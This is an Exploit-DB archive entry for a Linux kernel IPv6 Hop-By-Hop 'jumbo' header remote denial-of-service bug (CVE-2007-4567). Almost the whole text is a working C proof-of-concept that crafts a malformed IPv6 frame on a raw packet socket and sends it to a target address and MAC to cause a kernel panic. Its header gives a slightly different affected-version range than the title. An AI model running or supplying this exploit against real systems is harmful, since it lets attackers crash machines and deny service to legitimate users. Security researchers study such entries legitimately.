标题: Linux Kernel 2.6.22 - IPv6 Hop-By-Hop Header Remote Denial of Service EDB-ID: 30902 CVE: 2007-4567 类型: DOS 平台: LINUX 发布日期: 2007-12-19 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/26943/info

The Linux kernel is prone to a remote denial-of-service vulnerability because it fails to adequately validate specially crafted IPv6 'Hop-By-Hop' headers.

Attackers can exploit this issue to cause a kernel panic, denying service to legitimate users.
*/


/*
 * Clemens Kurtenbach <ckurtenbach at s21sec . com>
 * PoC code for exploiting the jumbo bug found in 
 * linux kernels >=2.6.20 and <=2.6.21.1
 * gcc -O2 ipv6_jumbo_crash.c -o ipv6_jumbo_crash
 *
 */


/* io */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

/* network */
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>
#include <linux/if_arp.h>
#include <netdb.h>
#include <linux/if.h>

#define MY_FRAME_LEN 1145

char *resolve6(unsigned char *target) {
 char *ret_addr;
 struct in6_addr my_in6;
 char *glob_addr = (char *) &my_in6;
 struct addrinfo addr_hints, *addr_result;
 unsigned char out[64];

 memset(&addr_hints, 0, sizeof(addr_hints));
 addr_hints.ai_family = AF_INET6;

 if (getaddrinfo(target, NULL, &addr_hints, &addr_result) != 0) {
  printf("getaddrinfo() error\n");
  exit(1); 
 }
 if(getnameinfo(addr_result->ai_addr, addr_result->ai_addrlen, 
out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0){
  printf("getnameinfo() error\n");
  exit(1);
 }
 if(inet_pton(AF_INET6, out, glob_addr) < 0) {
  printf("inet_pton() error\n");
  exit(1);
 }
 if((ret_addr = malloc(16)) == NULL) {
  printf("malloc() error\n");
  exit(1);
 }
 memcpy(ret_addr, my_in6.s6_addr, 16);
 return ret_addr;
}

int main(int argc, char *argv[]) {

 if (argc < 4) {
  printf("usage: ./ipv6_jumbo_crash <fe80::1:2:3> 
<00:11:22:33:44:55> <eth0>\n");
  exit(1);
 }

 /* handle IPv6 destination */
 unsigned char *dest_ip = resolve6(argv[1]);

 /* handle MAC */
 unsigned char dest_mac[7];
 sscanf(argv[2], "%x:%x:%x:%x:%x:%x", 
   (unsigned int*)&dest_mac[0], (unsigned 
int*)&dest_mac[1], 
   (unsigned int*)&dest_mac[2], (unsigned 
int*)&dest_mac[3], 
   (unsigned int*)&dest_mac[4], (unsigned 
int*)&dest_mac[5]);

 /* handle interface */
 unsigned char *iface;
 iface = argv[3];

 /* buffer for ethernet frame */
 void *buffer = (void*)malloc(MY_FRAME_LEN);

 /* pointer to ethenet header */
 unsigned char *etherhead = buffer;
 struct ethhdr *eh = (struct ethhdr *)etherhead;

 /* our MAC address */
 unsigned char src_mac[6] = { 0x00, 0x11, 0x22, 0x33, 0x44, 0x55 
};
 unsigned char src_ip[16] = { 0xfe, 0x80, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02};

 /* prepare socket */
 int s;
 s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
 if (s < 0) {
  printf("cannot create socket: [%d]\n",s);
  exit(1);
 }

 /* RAW communication */
 struct sockaddr_ll socket_address;
 socket_address.sll_family   = PF_PACKET; 
 socket_address.sll_protocol = htons(ETH_P_IP); 
 socket_address.sll_ifindex  = if_nametoindex(iface);
 socket_address.sll_hatype   = ARPHRD_ETHER;
 socket_address.sll_pkttype  = PACKET_OTHERHOST;
 socket_address.sll_halen    = ETH_ALEN;  

 /* set the frame header */
 memcpy((void*)buffer, (void*)dest_mac, ETH_ALEN);
 memcpy((void*)(buffer+ETH_ALEN), (void*)src_mac, ETH_ALEN);
 eh->h_proto = 0xdd86; // IPv6

 /* the buffer we want to send */
 unsigned char bad_buffer[] = { 
  0x60, 0x3b, 0x50, 0x15, 0x04, 0x08, 0x00, 0xa0, 0x00, 
0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00,
  0x00, 0x43, 0x6e, 0xc2, 0x05, 0x23 };

 memcpy((void*)(buffer+14), (void*)bad_buffer, MY_FRAME_LEN);

 /* overwrite our src and dst ip */
 memcpy((void*)(buffer+22), (void*)src_ip, 16);
 memcpy((void*)(buffer+38), dest_ip, 16);

 /* send the buffer */
 int send_result = 0;
 send_result = sendto(s, buffer, MY_FRAME_LEN, 0, (struct 
sockaddr*)&socket_address, sizeof(socket_address));
 if (send_result == -1) { 
  printf("could not send frame: [%d]\n", send_result); 
  exit(1);
 }
 else printf("frame send to ip [%s] with mac [%s] on iface 
[%s]\n",argv[1],argv[2],argv[3]);

 return 0;
} URL: https://www.exploit-db.com/exploits/30902